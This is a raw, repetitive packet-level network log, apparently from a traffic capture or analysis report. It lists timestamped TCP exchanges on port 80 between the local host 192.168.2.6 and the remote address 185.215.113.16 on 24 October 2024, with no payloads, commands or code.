Oct 24, 2024 11:02:31.621881008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.621901035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.621927023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.621942997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.621958971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.621970892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.622028112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.622076035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622104883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622134924 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.622191906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622220039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622235060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622241974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.622437000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622437954 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.622452021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622467995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.622522116 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.663400888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.663423061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.663440943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.663467884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.663515091 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.669498920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.669534922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.669569969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.669817924 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.671226978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671257019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671273947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671286106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.671329975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671344995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671379089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671381950 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.671396017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671411991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.671422958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.671469927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.700248003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700283051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700299025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700311899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.700320005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700346947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700355053 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.700361013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700397968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.700412035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700424910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700460911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.700512886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700567961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.700607061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700623989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.700956106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701006889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701020956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701128960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701137066 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701143980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701160908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701225996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701236963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701251984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701267004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701284885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701324940 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701390982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701472044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701510906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701545954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701561928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701579094 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701580048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701622963 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701654911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.701921940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701946974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701965094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701980114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.701996088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702013969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.702063084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.702270985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702296019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702311993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702327013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702346087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.702384949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.702815056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702831030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702847004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.702877045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.702909946 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.740618944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740633965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740701914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740703106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.740717888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740740061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740787983 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.740813971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740828037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740843058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740871906 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.740900993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740905046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.740916014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.740966082 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.741081953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.741097927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.741112947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.741148949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.781992912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.782016039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.782032967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.782082081 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.782134056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.788192034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.788224936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.788242102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.788274050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.789911032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.789932013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.789947033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.789963007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.789988041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.789988995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.790003061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.790019035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.790031910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.790034056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.790092945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819166899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819188118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819205999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819236994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819243908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819263935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819286108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819288969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819303989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819333076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819336891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819365978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819366932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819381952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819397926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819438934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819438934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819623947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819786072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819799900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819854975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819858074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819875956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819904089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819907904 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.819936037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.819962978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.820086002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820137978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.820151091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820164919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820192099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820208073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820216894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.820265055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.820359945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820422888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820447922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820463896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820491076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820508003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.820532084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.820687056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820743084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.820776939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820791006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820806980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.820838928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.821013927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.821029902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.821047068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.821069956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.821084023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.821088076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.821119070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.821145058 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.859533072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859569073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859586000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859600067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859616041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859632015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859642029 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.859647989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859666109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859684944 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.859709024 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.859731913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.859904051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859920025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.859935045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.860012054 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.900726080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.900749922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.900768995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.900795937 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.900830984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.906893969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.906940937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.906968117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.906986952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.907037020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.907068968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.908951998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.908977032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.908993959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.909008980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.909024954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.909029961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.909039974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.909059048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.909071922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.909071922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.909090996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.909163952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.937577963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937603951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937619925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937635899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937661886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937674046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.937676907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937693119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937728882 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.937803030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937815905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937832117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937855959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937869072 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.937871933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937889099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937907934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.937938929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.937947035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.937993050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939040899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939057112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939071894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939095974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939111948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939125061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939127922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939143896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939173937 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939186096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939209938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939223051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939239025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939255953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939258099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939273119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939296961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939348936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939538002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939553976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939580917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939595938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939599037 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939611912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939646959 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939697027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939862967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939887047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939909935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939925909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939940929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.939940929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.939985991 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.978009939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978029966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978044987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978097916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.978166103 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.978327990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978355885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978373051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978425026 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.978441000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978456974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978471994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978496075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978509903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978529930 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.978584051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.978585005 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:31.978596926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.978933096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:31.979192019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.019435883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.019458055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.019474030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.019551039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.025857925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.025883913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.025902033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.025949955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.026037931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.027338028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027363062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027379990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027395010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027411938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027429104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027446032 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.027484894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.027484894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.027513981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027529001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027543068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.027621031 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.056220055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.056262016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.056310892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.056327105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.056344032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.056355953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.056360006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.056387901 CEST	49756	80	192.168.2.6	185.215.113.16
